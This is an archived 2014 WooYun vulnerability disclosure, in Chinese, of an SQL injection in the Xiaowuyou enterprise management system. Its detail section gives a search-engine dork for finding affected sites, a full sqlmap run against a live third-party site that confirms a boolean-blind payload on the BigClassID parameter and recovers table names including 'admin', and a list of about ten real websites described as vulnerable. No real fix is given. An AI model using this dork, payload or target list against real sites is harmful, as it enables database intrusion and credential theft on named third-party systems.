当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062386

漏洞标题:校无忧某产品SQL注入漏洞

相关厂商:校无忧

漏洞作者: 乐乐、

提交时间:2014-05-30 13:38

修复时间:2014-08-28 13:40

公开时间:2014-08-28 13:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-06-04: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向第三方安全合作伙伴开放
2014-07-29: 细节向核心白帽子及相关领域专家公开
2014-08-08: 细节向普通白帽子公开
2014-08-18: 细节向实习白帽子公开
2014-08-28: 细节向公众公开

简要描述:

就一猪肉!

详细说明:

校无忧企业管理系统
官方:http://192.168.90.206:1933/ProductShow.asp?id=7 最新版本
inurl:/Products.asp?BigClass=

[root@Hacker~]# Sqlmap -u "http://hljlyzn.com/Products.asp?BigClassID=45" --tabl
es
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:49:10
[15:49:10] [INFO] testing connection to the target URL
[15:49:12] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[15:49:17] [INFO] target URL is stable
[15:49:17] [INFO] testing if GET parameter 'BigClassID' is dynamic
[15:49:18] [INFO] confirming that GET parameter 'BigClassID' is dynamic
[15:49:20] [WARNING] GET parameter 'BigClassID' does not appear dynamic
[15:49:21] [INFO] heuristics detected web page charset 'GB2312'
[15:49:21] [WARNING] heuristic (basic) test shows that GET parameter 'BigClassID
' might not be injectable
[15:49:21] [INFO] testing for SQL injection on GET parameter 'BigClassID'
[15:49:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:49:26] [WARNING] reflective value(s) found and filtering out
[15:49:28] [INFO] GET parameter 'BigClassID' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
[15:49:46] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[15:49:47] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:49:48] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[15:49:49] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[15:49:50] [INFO] testing 'MySQL inline queries'
[15:49:51] [INFO] testing 'PostgreSQL inline queries'
[15:49:52] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[15:49:53] [INFO] testing 'Oracle inline queries'
[15:49:54] [INFO] testing 'SQLite inline queries'
[15:49:55] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[15:49:55] [CRITICAL] there is considerable lagging in connection response(s). P
lease use as high value for option '--time-sec' as possible (e.g. 10 or more)
[15:49:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[15:49:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[15:49:58] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[15:49:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:50:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[15:50:03] [INFO] testing 'Oracle AND time-based blind'
[15:50:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[15:50:04] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[15:50:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:50:38] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[15:51:12] [INFO] checking if the injection point on GET parameter 'BigClassID'
is a false positive
GET parameter 'BigClassID' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 79 HTTP(s) requ
ests:
---
Place: GET
Parameter: BigClassID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: BigClassID=45 AND 9138=9138
---
[15:51:24] [INFO] testing MySQL
[15:51:25] [WARNING] the back-end DBMS is not MySQL
[15:51:25] [INFO] testing Oracle
[15:51:25] [WARNING] the back-end DBMS is not Oracle
[15:51:25] [INFO] testing PostgreSQL
[15:51:26] [WARNING] the back-end DBMS is not PostgreSQL
[15:51:26] [INFO] testing Microsoft SQL Server
[15:51:27] [WARNING] the back-end DBMS is not Microsoft SQL Server
[15:51:27] [INFO] testing SQLite
[15:51:31] [WARNING] the back-end DBMS is not SQLite
[15:51:31] [INFO] testing Microsoft Access
[15:51:33] [INFO] confirming Microsoft Access
[15:51:35] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[15:51:35] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[15:51:35] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[15:51:35] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[15:51:35] [INFO] retrieved:
[15:51:38] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[15:51:38] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[15:51:38] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[15:51:41] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[15:51:41] [INFO] checking table existence using items from 'E:\SQL?~1\SQLMAP~1.
4\Bin\txt\common-tables.txt'
[15:51:41] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 5
[15:51:43] [INFO] starting 5 threads
[15:51:50] [INFO] retrieved: config
[15:52:05] [INFO] retrieved: products
[15:52:06] [INFO] retrieved: admin
[15:52:19] [INFO] retrieved: news
[15:53:50] [INFO] tried 380/3141 items (12%)


漏洞证明:

111.png


下面是找的几个实例
http://www.fuyu-hardware.com/lokin/products.asp?bigclass=83
http://www.aosik.com/docc/products.asp?bigclass=1&smallclass=61
http://www.cdhuanya.com/products.asp?bigclass=83&smallclass=404
http://hljlyzn.com/Products.asp?BigClassID=45
http://www.huaoutianxia.com/Products.asp?BigClass=%D3%B2%C5%CC%C2%BC%CF%F1%BB%FA
http://www.51boai.com/products.asp?bigclass=%B2%FA%C6%B7%BD%E9%C9%DC&smallclass=%B2%FA%C6%B7%D0%C5%CF%A2
http://www.sxjindz.com/Products.asp?bigclass=22
http://www.trustlock.com/cn/products.asp?bigclass=2
http://www.yingxingtoys.com/cn/Products.asp?bigclass=60
http://www.ucc-coffee.com.cn/docc/products.asp?bigclass=1

修复方案:

你懂~

版权声明:转载请注明来源 乐乐、@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-06-04 10:28

厂商回复:

最新状态:

暂无